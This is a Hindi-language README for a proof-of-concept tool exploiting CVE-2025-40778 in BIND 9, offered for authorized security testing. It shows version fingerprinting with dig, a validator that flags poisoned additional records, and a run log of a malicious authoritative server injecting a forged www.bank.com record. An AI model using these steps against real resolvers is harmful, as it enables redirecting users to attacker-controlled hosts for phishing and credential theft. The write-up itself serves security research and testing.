
प्रूफ-ऑफ-कॉन्सेप्ट जो BIND 9 में अतिरिक्त रिकॉर्ड इंजेक्शन के माध्यम से DNS कैश पॉइज़निंग प्रदर्शित करता है, साथ ही अधिकृत सुरक्षा परीक्षण के लिए CVE-2025-40778 को मान्य और शोषण करने के उपकरणों के साथ।
अतिरिक्त रिकॉर्ड इंजेक्शन के माध्यम से DNS कैश पॉइज़निंग भेद्यता का शैक्षिक प्रदर्शन।
केवल शैक्षिक उद्देश्यों के लिए
यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। इस टूल का अनधिकृत उपयोग उन सिस्टमों के विरुद्ध जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है, अवैध और अनैतिक है।
लेखक इस टूल के दुरुपयोग या क्षति के लिए कोई दायित्व नहीं मानता है।
यह PoC प्रदर्शित करता है कि कैसे एक समझौता किया गया प्राधिकृत DNS सर्वर DNS प्रतिक्रियाओं में ज़हरीले रिकॉर्ड इंजेक्ट कर सकता है, संभावित रूप से उपयोगकर्ताओं को उनकी जानकारी के बिना दुर्भावनापूर्ण सर्वरों पर पुनर्निर्देशित कर सकता है।
हमला वेक्टर:
संभावित परिदृश्य:
👤 लेखक और संपर्क
pip install dnslib
pip install dnspython
pip install scapy
(venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
;; QUESTION SECTION:
;version.bind. CH TXT
;; ANSWER SECTION:
version.bind. 0 CH TXT "9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"
;; AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.
;; Query time: 14 msec
;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
;; WHEN: Fri Oct 31 10:51:04 -03 2025
;; MSG SIZE rcvd: 134
यह टूल पता लगाता है कि क्या भेद्यता CVE-2025-40778 का शोषण करना संभव है
============================================================
CVE-2025-40778 - Forwarder Configuration Validator
============================================================
Enter DNS server IP [127.0.0.1]: 200.0.0.X
Enter domain to query [www.test.local]: www.company.com
============================================================
CVE-2025-40778 VALIDATION - Forwarder Configuration
============================================================
DNS Server: 200.0.0.X
Domain: www.company.com
============================================================
[1/3] Resolution Test for www.company.com
------------------------------------------------------------
[✓] www.company.com → 201.0.0.X
→ Forwarder ACTIVE for www.company.com
[2/3] Additional Records Test (Poison Detection)
------------------------------------------------------------
Answers: 2 records
Authority: 1 records
Additional: 2 records
ANSWER SECTION:
→ www.company.com. 300 IN CNAME www.holding.com.
→ www.holding.com. 300 IN A 201.0.0.X
ADDITIONAL SECTION:
→ [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
→ [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X
→ [!!!] MULTIPLE ANSWERS - Possible poisoning detected
[3/3] Forwarder Latency Test
------------------------------------------------------------
Query 1: 5.63ms
Query 2: 7.46ms
Query 3: 6.04ms
Query 4: 5.04ms
Query 5: 5.69ms
Average: 5.97ms
→ [✓] Forwarder working correctly
============================================================
CONFIGURATION VALIDATED
============================================================
विवरण: इस चरण में, आप दुर्भावनापूर्ण प्राधिकृत DNS सर्वर लॉन्च करते हैं जो एक समझौता किए गए नेमसर्वर का अनुकरण करता है। सर्वर एक विशिष्ट IP और पोर्ट (127.0.0.2:5301) पर सुनता है, प्रतिक्रियाओं में ज़हरीले DNS रिकॉर्ड इंजेक्ट करने के लिए तैयार। कॉन्फ़िगर होने पर, यह www.test.local के लिए वैध क्वेरी का सही IP पते के साथ जवाब देगा, लेकिन साथ ही www.bank.com के लिए एक दुर्भावनापूर्ण रिकॉर्ड इंजेक्ट करेगा जो हमलावर-नियंत्रित IP की ओर इशारा करता है। यह दोहरी-प्रतिक्रिया व्यवहार कैश पॉइज़निंग हमले का मूल है - भेद्य DNS रिज़ॉल्वर वैध उत्तर और ज़हरीला रिकॉर्ड दोनों को कैश करेगा, भले ही केवल एक डोमेन का अनुरोध किया गया हो।
(venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py
============================================================
CVE-2025-40778 PoC - poc-linux | krakhen.dev
============================================================
[*] Listening: 127.0.0.2:5301
[*] Legit: www.test.local. → 192.168.0.136
[*] Poison: www.bank.com. → 192.168.0.100
[✓] Running. Ctrl+C to stop.
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A
विवरण: यहां आप अपने स्थानीय रिज़ॉल्वर (BIND) के माध्यम से एक मानक DNS क्वेरी करते हैं ताकि यह सत्यापित किया जा सके कि इंफ्रास्ट्रक्चर सही ढंग से काम कर रहा है। www.test.local के लिए क्वेरी को अपेक्षित रूप से वैध IP पता (192.168.0.136) लौटाना चाहिए। इस बिंदु पर, अंतिम उपयोगकर्ता को प्रतिक्रिया सामान्य दिखती है - समझौते का कोई दृश्य संकेत नहीं है। हालांकि, पर्दे के पीछे, भेद्य DNS रिज़ॉल्वर ने पहले ही दोनों रिकॉर्ड कैश कर लिए हैं: वैध रिकॉर्ड जिसे आपने अनुरोध किया था और www.bank.com के लिए ज़हरीला रिकॉर्ड जो प्रतिक्रिया के अतिरिक्त अनुभाग में इंजेक्ट किया गया था। यह चरण पुष्टि करता है कि आपका DNS रिज़ॉल्वर दुर्भावनापूर्ण प्राधिकृत सर्वर के साथ सफलतापूर्वक संवाद करता है और उसकी प्रतिक्रिया को संसाधित करता है।
(venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
;; QUESTION SECTION:
;www.test.local. IN A
;; ANSWER SECTION:
www.test.local. 120 IN A 192.168.0.136
;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
;; WHEN: Fri Oct 31 10:44:57 -03 2025
;; MSG SIZE rcvd: 87